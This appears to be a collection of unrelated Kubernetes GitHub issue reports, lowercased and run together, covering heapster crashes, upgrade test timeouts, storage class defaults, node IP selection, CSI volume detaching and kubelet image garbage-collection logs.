directory volume      path:   /srv/kubernetes   etcssl:     type:   hostpath  bare host directory volume      path:   /etc/ssl   default-token-7l129:     type:   secret  a secret that should populate this volume      secretname: default-token-7l129 events:   firstseen lastseen    count   from            subobjectpath   reason      message   ─────────   ────────    ───── ────            ───────────── ──────      ───────   46s       46s     1   {scheduler }                scheduled   successfully assigned kube-controller-manager to 127.0.0.1   43s       23s     3   {kubelet 127.0.0.1}         failedsync  error syncing pod, skipping: pod with uid \ e9fb0eb3-5dd4-11e5-bce0-22000b102286\  specified host networking, but is disallowed

k8s:1.1.8 docker:1.10.2 coreos:4.4.6-coreos  this cluster is in aws.  i ran below yaml file in my coreos k8s cluster follow the fixed issue  1003 ：  > apiversion: v1 > kind: replicationcontroller > metadata: >   name: heapster-v12 >   namespace: kube-system >   labels: >     k8s-app: heapster >     version: v12 >     kubernetes.io/cluster-service: \ true\  > spec: >   replicas: 1 >   selector: >     k8s-app: heapster >     version: v12 >   template: >     metadata: >       labels: >         k8s-app: heapster >         version: v12 >         kubernetes.io/cluster-service: \ true\  >     spec: >       containers: >         - image: gcr.io/google_containers/heapster:v0.20.0-alpha9 >           name: heapster >           resources: >             limits: >               cpu: 100m >               memory: 300mi >           command: >             - /heapster >             - --source=kubernetes:http://10.0.0.50:8080?inclusterconfig=false&kubelethttps=true&useservicecaccount=trye&auth= >             - --sink=influxdb:http://monitoring-influxdb:8086 >             - --stats_resolution=30s >             - --sink_frequency=1m  however the pod status will be \ crashloopbackoff\   when i describe the pod info it show :    > name:     heapster-v12-fiq1w > namespace:  kube-system > node:       ip-10-0-0-188.ap-southeast-1.compute.internal/10.0.0.188 > start time: fri, 01 apr 2016 16:19:41 +0800 > labels:     k8s-app=heapster,kubernetes.io/cluster-service=true,version=v12 > status:     running > ip:     10.2.5.2 > controllers:    replicationcontroller/heapster-v12 > containers: >   heapster: >     container id:   docker://4e36359896805b070e650379cff1da1054bd2f2dfa7d3d575952c0d373768d0b >     image:      gcr.io/google_containers/heapster:v0.20.0-alpha9 >     image id:       docker://sha256:d362b18004669e931345a7084c2168ee6d5c78127a2f07c45fcccc3750322635 >     port: >     command: >       /heapster >       --source=kubernetes:'' >       --sink=influxdb:http://monitoring-influxdb:8086 >       --stats_resolution=30s >       --sink_frequency=1m >     qos tier: >       cpu:  guaranteed >       memory:   guaranteed >     limits: >       cpu:  100m >       memory:   300mi >     requests: >       cpu:      100m >       memory:       300mi >     state:      waiting >       reason:       crashloopbackoff >     last state:     terminated >       reason:       error >       exit code:    2 >       started:      fri, 01 apr 2016 16:22:53 +0800 >       finished:     fri, 01 apr 2016 16:22:53 +0800 >     ready:      false >     restart count:  6 >     environment variables: > conditions: >   type      status >   ready     false > volumes: >   default-token-nctph: >     type:   secret  a volume populated by a secret  >     secretname: default-token-nctph > events: >   firstseen lastseen    count   from                            subobjectpath               type        reason      message > --- >  >   3m        3m      1   {scheduler }                                                    scheduled   successfully assigned heapster-v12-fiq1w to ip-10-0-0-188.ap-southeast-1.compute.internal >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} implicitly required container pod           started     started with docker id c5205df46bcc >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} implicitly required container pod           pulled      container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               created     created with docker id e94471494a1a >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               started     started with docker id e94471494a1a >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} implicitly required container pod           created     created with docker id c5205df46bcc >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               started     started with docker id 15eb1d441d00 >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               created     created with docker id 15eb1d441d00 >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               started     started with docker id 0e1d747c9033 >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               created     created with docker id 0e1d747c9033 >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               started     started with docker id 38093aa772f1 >   3m        3m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               created     created with docker id 38093aa772f1 >   2m        2m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               created     created with docker id 8982781be1ae >   2m        2m      1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               started     started with docker id 8982781be1ae >   43s       43s     1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               started     started with docker id 4e3635989680 >   3m        43s     6   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               pulled      container image \ gcr.io/google_containers/heapster:v0.20.0-alpha9\  already present on machine >   43s       43s     1   {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               created     created with docker id 4e3635989680 >   3m        3s      19  {kubelet ip-10-0-0-188.ap-southeast-1.compute.internal} spec.containers{heapster}               backoff     back-off restarting failed docker container  i saw the  1003 , it show me the running version of heapster and heapster_grafana. i does heapster v0.20.0-alpha9 can't run in 1.1.8?

instead of having to specify a project for vms and images  here  https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/runner/run_e2e.go l79 , we can auto-detect gce projects based on local context.    gcloud config list | grep project | awk '{print $3}'  should give us the default project.

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r upgrades to 1.6\r \r   what happened  :\r when running tests for upgrades to 1.6 the step    it  should maintain a functioning cluster  feature:masterupgrade   blocks until the test-infra job times out and sends an interrupt.\r \r last line before timing out:  l7 controller failed to delete all cloud resources on time. timed out waiting for the condition \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.5-gci-1.6-upgrade-master/27?log log\r \r   what you expected to happen  :\r should either pass test or timeout failing the test gracefully.\r \r   how to reproduce it    as minimally and precisely as possible :\r any master test in https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew\r \r

kubernetes version    use  kubectl version  :\r master branch\r \r   what happened  :\r when creating pr for  44188 , it found some required packages/funcs are missed; open this issues to trace/handle related issues.\r \r   what you expected to happen  :\r all required packages/funcs by kube-scheduler are here in client-go.

is this a bug report or feature request?  :\r bug report\r  \r   what happened  :\r storageclass.beta.kubernetes.io/is-default-class is working as default when it's set to:\r storageclass.beta.kubernetes.io/is-default-class: true\r \r but is not working as default when set to true\r storageclass.beta.kubernetes.io/is-default-class: true\r   what you expected to happen  :\r case insensitive, and work also with yes/yes/yes/true/..\r   how to reproduce it  as minimally and precisely as possible   :\r \r create pvc without requesting a specific class  aka no annotations for storage-class in the pvc \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r k8s 1.6.6\r - install tools:\r kubeadm\r

 \r the path to successful open source software is not only filled with impressive features, late coding and drinking nights, but most importantly swag. i have my glorious deis socks, \r ! image  https://user-images.githubusercontent.com/4482381/28546112-8908b356-7097-11e7-8104-957eb3ad6b10.png ,  but no kube socks to match. help me! \r    \r kubectl get socks\r

 \r   what happened  :\r if a field in the rawextension is nil, it will be encoded as   string{\ null\  , but when it is unmarshaled the raw string will be \ null\  instead of an empty nil value.\r \r   what you expected to happen  :\r unmarshal should produce an exact object to what was marshaled.  a nil field or object when marshaled should be nil when unmarshaled.\r \r @kubernetes/sig-api-machinery-bugs

  \r https://github.com/kubernetes/kubernetes/pull/52723 resulted in gke gpu tests and gke device plugin tests to fail.\r \r diff between passing and failing runs:\r https://github.com/kubernetes/kubernetes/compare/924bd563b...4c115a862\r \r gke device plugin tests:\r https://k8s-testgrid.appspot.com/wg-resource-management gke-device-plugin-gpu\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/95\r \r gke gpu tests:\r https://k8s-testgrid.appspot.com/wg-resource-management gke-gpu\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gpu/1453

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r need to move flexvolume tests out of alpha suites in testgrid since it's been marked as ga.\r \r  /assign\r

our gce-1.8 100-node scalability  job  https://k8s-testgrid.appspot.com/sig-scalability-gce gce-1.8  is failing to create the cluster with:\r \r    \r failed to create firewall e2e-scalability-stable1-minion-e2e-scalability-stable1-nodeports in k8s-e2e-gci-gce-scale-1-4\r    \r \r and has been failing continuously since run 523.\r \r cc @kubernetes/sig-network-bugs

@kubernetes/sig-autoscaling-feature-requests\r \r >  \r   what happened  :\r two interfaces on a node, a private and a public one.\r kubelet chooses the public one. with '--node-ip' i can force the node to use the internal ip, but with autoscaling and internal dynamic ip addresses this does not help.\r \r   what you expected to happen  :\r what i would like is not '--node-ip' but '--node-interface' so kubelet can retrieve the correct ip during startup with dynamic ip's. and dynamic ip's are the way to go for autoscaling of nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r configure '--node-ip' with a static ip address works. not with dynamic ip addresses.\r \r   anything else we need to know?  :\r \r   environment  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:59:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r trans ip. vps hosting\r two interfaces:\r  -- ens3 : public interface  with iptables firewall rules \r  -- ens7 : internal interface  controlled by cni .\r - os  e.g. from /etc/os-release :\r debian 9.4\r - kernel  e.g.  uname -a  :\r linux master 4.9.0-6-amd64  1 smp debian 4.9.82-1+deb9u3  2018-03-02  x86_64 gnu/linux\r - install tools:\r kubeadm with canal\r - others:\r manual configuration afterwards to use private network as internode/container/cni communications like the apiserver.\r \r

is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line:\r >\r  \r   what happened  :\r deleting  csi  volume takes a long time. finally, a/d controller has to enforce detaching since  maxwaitforunmountduration  has expired.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    kubernetes  1.10.2 on bare metal\r   use  kubeadm  to deploy  kubernetes  cluster\r   create csi pvc, and then delete it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

it seems like our rkt implementation does not support ports. we specify them:      $ cat /tmp/manifest218133532 {\ acversion\ :\ 0.5.1+git\ ,\ ackind\ :\ podmanifest\ ,\ apps\ : {\ name\ :\ gcr.io/google-containers/kibana\ ,\ image\ :{\ id\ :\ sha512-7c516c277c93991ec1cceadcb05405f2\ },\ app\ :{\ exec\ : \ /usr/local/bin/run_kibana_nginx.sh\  ,\ user\ :\ 0\ ,\ group\ :\ 0\ ,\ environment\ : {\ name\ :\ es_scheme\ ,\ value\ :\ https\ },{\ name\ :\ es_host\ ,\ value\ :\ \\\ +window.location.hostname+\\\ /api/v1beta3/proxy/namespaces/default/services/elasticsearch-logging\ } ,\ ports\ : {\ name\ :\ kibana-port\ ,\ protocol\ :\ tcp\ ,\ port\ :80,\ socketactivated\ :false} }} ,\ volumes\ :null,\ isolators\ :null,\ annotations\ :null,\ ports\ : {\ name\ :\ kibana-port\ ,\ hostport\ :0} }      but rkt seems to complain about them:      port name \ kibana-port\  is not defined by any apps

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  : \r this is a screencapture of the error message.\r ! error message  https://t1.daumcdn.net/cfile/tistory/99719a435ce60cf22b \r i think it will be better if the feedback for the error is modified in a more detailed way.\r like appending some lines like theses.\r \ try opening virtualbox, click global tools - host network manager, and check out if there are network adapters which use the same ip.\r then remove an adapter which has the same ip or change the ip not to be the same.\ \r \r ! error virtualbox  https://t1.daumcdn.net/cfile/tistory/997c323e5ce649961a \r this image is the case when the error occurs.\r \r \r \r \r   why is this needed  :\r this is the screencapture of the error message but i, as a bigginer of kubernetes and virtualbox, wasn't able to how i can handle the ip error.\r i didn't know how to handle the network adapter of vms from virtualbox and why they became to have the same ip. \r \r i think you are aware of why the error occurs   because of the apapters that have the same ip  \r but users are not familiar with what the host-only adapters and how to deal with them. so if you append some kind of detailed explanations for the error, it would be great thank you.

google for \ replication controller\  and the top link shows up as:  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/replication-controller.md  and this is a 404.  update the search engine or create a redirect :

following this doc https://github.com/kubernetes/kubernetes/blob/master/cluster/libvirt-coreos/readme.md      sh git clone https://github.com/kubernetes/kubernetes/ cd kubernetes make release-skip-tests export kubernetes_provider=libvirt-coreos ./cluster/kube-up.sh ssh core@192.168.10.2 docker run -d --name nginx nginx docker inspect  --format '{{ .networksettings.ipaddress }}' nginx   i.e. returns 10.10.1.3      then run curl on another k8s minion:      sh ssh core@192.168.10.3 curl 10.10.1.3      and you'll see result below:      core@kubernetes-minion-2 ~ $ curl 10.10.1.3 curl:  56  recv failure: connection reset by peer core@kubernetes-minion-2 ~ $ curl 10.10.1.3 curl:  56  recv failure: connection reset by peer core@kubernetes-minion-2 ~ $ curl 10.10.1.3 curl:  56  recv failure: connection reset by peer core@kubernetes-minion-2 ~ $ curl 10.10.1.3 curl:  56  recv failure: connection reset by peer core@kubernetes-minion-2 ~ $ curl 10.10.1.3 <!doctype html> <html> <head> <title>welcome to nginx!</title> <style>     body {         width: 35em;         margin: 0 auto;         font-family: tahoma, verdana, arial, sans-serif;     } </style> </head> <body> <h1>welcome to nginx!</h1> <p>if you see this page, the nginx web server is successfully installed and working. further configuration is required.</p>  <p>for online documentation and support please refer to <a href=\ http://nginx.org/\ >nginx.org</a>.<br/> commercial support is available at <a href=\ http://nginx.com/\ >nginx.com</a>.</p>  <p><em>thank you for using nginx.</em></p> </body> </html> core@kubernetes-minion-2 ~ $ curl 10.10.1.3 curl:  56  recv failure: connection reset by peer      so looks like there is something wrong with the bridge configuration in  libvirt-coreos  provider.  here is tcpdump:      sh 10:50:44.059742 ip 10.10.2.1.59138 > 10.10.1.3.http: flags  s , seq 3020067180, win 29200, options  mss 1460,sackok,ts val 3556468 ecr 0,nop,wscale 6 , length 0 10:50:44.059777 ip 10.10.1.3.http > 10.10.2.1.59138: flags  s. , seq 1880978123, ack 3020067181, win 28960, options  mss 1460,sackok,ts val 3560072 ecr 3556468,nop,wscale 6 , length 0 10:50:44.059793 ip 10.10.1.3.http > 10.10.2.1.59138: flags  s. , seq 1880978123, ack 3020067181, win 28960, options  mss 1460,sackok,ts val 3560072 ecr 3556468,nop,wscale 6 , length 0 10:50:44.060083 ip 10.10.2.1.59138 > 10.10.1.3.http: flags  . , ack 1, win 457, options  nop,nop,ts val 3556468 ecr 3560072 , length 0 10:50:44.060090 ip 10.10.2.1.59138 > 10.10.1.3.http: flags  p. , seq 1:74, ack 1, win 457, options  nop,nop,ts val 3556468 ecr 3560072 , length 73 10:50:44.060110 ip 10.10.1.3.http > 10.10.2.1.59138: flags  r , seq 1880978124, win 0, length 0 10:50:44.060114 ip 10.10.1.3.http > 10.10.2.1.59138: flags  r , seq 1880978124, win 0, length 0 10:50:44.060131 ip 10.10.1.3.http > 10.10.2.1.59138: flags  r , seq 1880978124, win 0, length 0 10:50:44.060133 ip 10.10.1.3.http > 10.10.2.1.59138: flags  r , seq 1880978124, win 0, length 0      /cc @lhuard1a

continue to add test cases outlined in  this doc  https://docs.google.com/spreadsheets/d/1qv38besoah70bzd_7g_yguzpi4dzetgwxljl-sauvzw/edit

kubernetes version    use  kubectl version  :\r v.1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : coreos 1235.9.0\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r \r   what happened  :\r kubelet with the flag '--runonce' can't bring up the static pods with volumes.\r \r   what you expected to happen  :\r runonce mode should support volumes.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. kubelet with '--runonce' flag as a system unit servie\r 2. a pod requires volumemounts under /etc/kubernetes/manifests directory, for example, the kube-proxy.\r \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-proxy\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-proxy\r     image: quay.io/coreos/hyperkube:v1.5.2_coreos.0\r     command:\r     - /hyperkube\r     - proxy\r     - --kubeconfig=/etc/kubernetes/kubeconfig.yaml\r     - --proxy-mode=iptables\r     securitycontext:\r       privileged: true\r     volumemounts:\r       - mountpath: /etc/localtime\r         name: timezone\r       - mountpath: /etc/ssl/certs\r         name: \ ssl-certs\ \r       - mountpath: /etc/kubernetes/kubeconfig.yaml\r         name: \ kubeconfig\ \r         readonly: true\r       - mountpath: /etc/kubernetes/ssl\r         name: \ etc-kube-ssl\ \r         readonly: true\r   volumes:\r     - name: timezone \r       hostpath: \r         path: /etc/localtime \r     - name: \ ssl-certs\ \r       hostpath:\r         path: \ /usr/share/ca-certificates\ \r     - name: \ kubeconfig\ \r       hostpath:\r         path: \ /etc/kubernetes/kubeconfig.yaml\ \r     - name: \ etc-kube-ssl\ \r       hostpath:\r         path: \ /etc/kubernetes/ssl\ \r \r get errors like:\r mar 10 11:26:11 aa02.sjc.lab kubelet-wrapper 11337 : error: failed to run kubelet: runonce failed: error running pods:  kube-pr\r oxy-aa02.sjc.lab_default 893f833a711f731fc1775d8c545f91b3  \r mar 10 11:26:11 aa02.sjc.lab kubelet-wrapper 11337 : i0310 19:26:11.725331   11337 runonce.go:61  finished processing 1 pods\r mar 10 11:26:11 aa02.sjc.lab kubelet-wrapper 11337 : i0310 19:26:11.725319   11337 runonce.go:94  failed to start pod \ kube-pro\r xy-aa02.sjc.lab_default 893f833a711f731fc1775d8c545f91b3 \ : error syncing pod \ kube-proxy-aa02.sjc.lab_default 893f833a711f731f\r c1775d8c545f91b3 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ kube-proxy-aa02.sjc.lab\ . list of un\r attached/unmounted volumes= timezone ssl-certs kubeconfig etc-kube-ssl \r \r   anything else we need to know  :\r we are trying to bring up kube-proxy first to reach our glusterfs service in k8s. after the gluster volume is mounted successfully on host, we can run kubelet normally to schedule other jobs.\r

\r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r unexpected error when attempting to reduce imagefs pressure\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : container linux by coreos 1298.7.0  ladybug \r -   kernel    e.g.  uname -a  : linux node-4-vm 4.9.16-coreos-r1  1 smp fri mar 31 02:07:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  : https://github.com/edevil/kubernetes-deployment/\r \r \r   what happened  :\r \r imagefs went above threshold, images started getting deleted. when this process finished the amount of free space that kubernetes wanted to have freed is not correct  9223372036854775807  and an eviction is triggered.\r \r   what you expected to happen  :\r \r no eviction should happen.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 2 example logs attached\r \r node2\r    \r apr 26 02:00:36 node-2-vm kubelet-wrapper 1064 : + exec /usr/bin/rkt run --uuid-file-save=/var/run/kubelet-pod.uuid --volume var-cni,kind=host,source=/var/lib/cni --mount volume=var-cni,target=/var/lib/cni --volume var-log,kind=host,source=/var/log --mount volume=var-log,target=/var/log --volume lib-modules,kind=host,source=/lib/modules --mount volume=lib-modules,target=/lib/modules --volume etc-resolv,kind=host,source=/etc/resolv.conf --mount volume=etc-resolv,target=/etc/resolv.conf --trust-keys-from-https --volume etc-kubernetes,kind=host,source=/etc/kubernetes,readonly=false --volume etc-ssl-certs,kind=host,source=/etc/ssl/certs,readonly=true --volume usr-share-certs,kind=host,source=/usr/share/ca-certificates,readonly=true --volume var-lib-docker,kind=host,source=/var/lib/docker,readonly=false --volume var-lib-kubelet,kind=host,source=/var/lib/kubelet,readonly=false --volume os-release,kind=host,source=/usr/lib/os-release,readonly=true --volume run,kind=host,source=/run,readonly=false --mount volume=etc-kubernetes,target=/etc/kubernetes --mount volume=etc-ssl-certs,target=/etc/ssl/certs --mount volume=usr-share-certs,target=/usr/share/ca-certificates --mount volume=var-lib-docker,target=/var/lib/docker --mount volume=var-lib-kubelet,target=/var/lib/kubelet --mount volume=os-release,target=/etc/os-release --mount volume=run,target=/run --stage1-from-dir=stage1-fly.aci quay.io/coreos/hyperkube:v1.6.2_coreos.0 --exec=/kubelet -- --cloud-provider=azure --cloud-config=/etc/kubernetes/azure.json --kubeconfig=/etc/kubernetes/worker-kubeconfig.yaml --require-kubeconfig --container-runtime=docker --network-plugin-dir=/etc/kubernetes/cni/net.d --network-plugin=kubenet --register-node=true --allow-privileged=true --pod-manifest-path=/etc/kubernetes/manifests --cluster-dns=10.3.0.10 --cluster-domain=cluster.local --client-ca-file=/etc/kubernetes/ssl/ca.pem --anonymous-auth=false --image-gc-high-threshold=85 --image-gc-low-threshold=75 --eviction-max-pod-grace-period=600 --eviction-minimum-reclaim=memory.available=350mi,imagefs.available=2gi,nodefs.available=2gi '--evi\r apr 26 02:00:36 node-2-vm kubelet-wrapper 1064 : ction-soft=memory.available<300mi,nodefs.available<14%,nodefs.inodesfree<14%,imagefs.available<14%,imagefs.inodesfree<14' --eviction-soft-grace-period=memory.available=1m30s,nodefs.available=1m30s,imagefs.available=1m30s,nodefs.inodesfree=1m,imagefs.inodesfree=1m '--eviction-hard=memory.available<250mi,nodefs.available<10%,nodefs.inodesfree<10%,imagefs.available<10%,imagefs.inodesfree<10' --node-labels=component_type=node\r apr 26 02:01:12 node-2-vm kubelet-wrapper 1064 : i0426 02:01:12.308688    1064 container_manager_linux.go:250  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs protectkerneldefaults:false enablecri:true nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:250mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:imagefs.inodesfree operator:lessthan value:{quantity:10 percentage:0} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map  }\r apr 26 08:59:27 node-2-vm kubelet-wrapper 1064 : w0426 08:59:27.480936    1064 eviction_manager.go:299  eviction manager: attempting to reclaim imagefs\r apr 26 08:59:27 node-2-vm kubelet-wrapper 1064 : i0426 08:59:27.480963    1064 helpers.go:996  eviction manager: attempting to delete unused images\r apr 26 08:59:27 node-2-vm kubelet-wrapper 1064 : i0426 08:59:27.560529    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:896f0b69742a885415971c4c0ff5061b6be98b1f13b992a8d807cb01a8fb64bb\  to free 414645633 bytes\r apr 26 08:59:54 node-2-vm kubelet-wrapper 1064 : i0426 08:59:54.148219    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:750a8b7ed0b9918789a4ea371f9253627436e45d8bc6c184163f1b77e7fd216b\  to free 414645204 bytes\r apr 26 09:00:29 node-2-vm kubelet-wrapper 1064 : i0426 09:00:29.980684    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:597a45ef55ec52401fdcd2e1d6ee53c74b04afb264490d7fa67b6d98ad330dfe\  to free 57892132 bytes\r apr 26 09:00:30 node-2-vm kubelet-wrapper 1064 : i0426 09:00:30.092175    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:5dbb6d76ba117f8a29c6d0000e9b33e8b5bdb29a9fe59ce560a381ed3e6688ed\  to free 561602155 bytes\r apr 26 09:00:30 node-2-vm kubelet-wrapper 1064 : i0426 09:00:30.101097    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:ab31d62bf9e005ff4fe6660029bd7260fdfeca4adbaaccb9e82eb0018381e416\  to free 414645523 bytes\r apr 26 09:01:05 node-2-vm kubelet-wrapper 1064 : i0426 09:01:05.426988    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:e83902fc224f39f7f5b6e2de914fd7b39687fe1d354da409615fcd1f21652837\  to free 272701863 bytes\r apr 26 09:01:08 node-2-vm kubelet-wrapper 1064 : i0426 09:01:08.836144    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:ee590f1abe7181fd148a1a1ed48b24a6cbc54918e94569229e419ef9ea56c432\  to free 693318312 bytes\r apr 26 09:01:12 node-2-vm kubelet-wrapper 1064 : i0426 09:01:12.591182    1064 image_gc_manager.go:270   imagegcmanager : disk usage on \ /dev/sdb\   /var/lib/docker/overlay  is at 88% which is over the high threshold  85% . trying to free 2440915968 bytes\r apr 26 09:01:59 node-2-vm kubelet-wrapper 1064 : i0426 09:01:59.969308    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:8c58dbb011843dfb79f13fc012e03db7469cbb7008d3ca06c5d202aeddd387e2\  to free 659710039 bytes\r apr 26 09:03:01 node-2-vm kubelet-wrapper 1064 : i0426 09:03:01.031650    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:300fcce773504eff061b90e08e2fb2ba0e11ba5624a6f4e8bb615ddd2a9b3e9c\  to free 60895216 bytes\r apr 26 09:03:01 node-2-vm kubelet-wrapper 1064 : w0426 09:03:01.032591    1064 image_gc_manager.go:176   imagegcmanager  failed to update image list: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ layer does not exist\ }\r apr 26 09:03:01 node-2-vm kubelet-wrapper 1064 : i0426 09:03:01.189973    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:3c734123a3d156f74608ab8fdc1e1776137c01b9026dd36901f70e1202f50c82\  to free 748518122 bytes\r apr 26 09:03:38 node-2-vm kubelet-wrapper 1064 : i0426 09:03:38.314462    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:9785e6acd8bc4eed1fd73a069cb2fd1c22a2c61f22c5111b17493d61d5627975\  to free 414601700 bytes\r apr 26 09:04:04 node-2-vm kubelet-wrapper 1064 : i0426 09:04:04.287542    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:c8a7f4332c60208f4703ea819c7a8921395a3ac9da2e4747e1572bab17046746\  to free 791510824 bytes\r apr 26 09:04:04 node-2-vm kubelet-wrapper 1064 : w0426 09:04:04.289745    1064 image_gc_manager.go:176   imagegcmanager  failed to update image list: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ layer does not exist\ }\r apr 26 09:04:41 node-2-vm kubelet-wrapper 1064 : i0426 09:04:41.981125    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:0af158c1115f3526eb10df328a6a8d269468fe110f50915b2ab37661487e6211\  to free 273002741 bytes\r apr 26 09:04:47 node-2-vm kubelet-wrapper 1064 : i0426 09:04:47.391232    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:98eae72f0f11dada4a06212f77d80accc6e3a143de1671e47a60fbfa8e705f94\  to free 414603265 bytes\r apr 26 09:05:12 node-2-vm kubelet-wrapper 1064 : i0426 09:05:12.746695    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:91a48ff795cebb88646ec6cc4955bf7f500466feb44ec18b508f2ce94ed0d9b7\  to free 664880136 bytes\r apr 26 09:05:12 node-2-vm kubelet-wrapper 1064 : i0426 09:05:12.795756    1064 